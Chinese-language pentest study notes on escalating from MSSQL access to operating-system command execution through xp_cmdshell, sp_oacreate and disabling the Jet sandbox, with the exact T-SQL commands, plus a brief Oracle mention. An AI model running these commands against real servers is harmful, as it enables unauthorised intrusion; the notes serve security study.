mssql使用navicat连接的时候有两种密码模式。一种是使用自己的windows账号密码,一种是输入账号密码
mssql提权
翻找密码
主要是使用系统自带的组件进行提权<xp_cmdshell和sp_oacreate,这两个都sqlserver自带的
存储过程
。在master-存储过程中文章推荐
SQL Server提权总结与记录-xp_cmdshell/sp_oacreate/sandbox提权_sqlcmd提权应用-CSDN博客
0x01 xpcmdshell提权
EXEC master.dbo.xp_cmdshell 'whoami'
直接调用xpcmdshell进行命令执行;但是有时候会把这个系统组件给关闭,相当于一个防护,这时候可以使用命令开启,或者使用另外一个函数oacrate
报错
-2147217900:[Microsoft][ODBC SQL Server Driver][SQL Server]SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
就可以启用xpcmdshell
EXEC sp_configure 'show advanced options',1 RECONFIGURE go sp_configure 'xp_cmdshell',1 #关闭把参数置0即可 RECONFIGURE go
如果xp_cmdshell被删除,则可以通过下列命令重新加载。
dbcc addextendedproc("xp_cmdshell","xplog70.dll");
如果连xplog70.dll也被删除,则可以通过下列命令恢复(未验证)
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll';
0x02 sp_oacreate提权
文章推荐非常详细
https://blog.csdn.net/u014029795/article/details/116910134
使用命令创建文件到网站根目录后再去查看文件内容declare @shell int; exec sp_oacreate 'wscript.shell',@shell output; exec sp_oamethod @shell,'run',null,'C:\\windows\\system32\\cmd.exe /c whoami > C:\\Inetpub\\wwwroot\\1.txt';
开启sp_oacreate命令
EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'Ole Automation Procedures',1; #关闭使该参数置空即可 RECONFIGURE
0x03 sqlserver沙盒模式提权
执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("whoami")')
没有开启的话报错,通过下面命令开启组件
exec sp_configure 'show advanced options',1; reconfigure; exec sp_configure 'Ad Hoc Distributed Queries',1; reconfigure;
接着关闭沙盒
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0; 沙盒模式`SandBoxMode`参数含义(默认是2) 0:在任何所有者中禁止启用安全模式 1 :为仅在允许范围内 2 :必须在access模式下 3:完全开启
步骤
开启组件,关闭沙盒,查询等级是否为0,执行系统命令
查询等级为0才行,停止使用任何安全模式
oracle提权
目录翻找数据库配置文件
直接使用工具提权----oracle-shell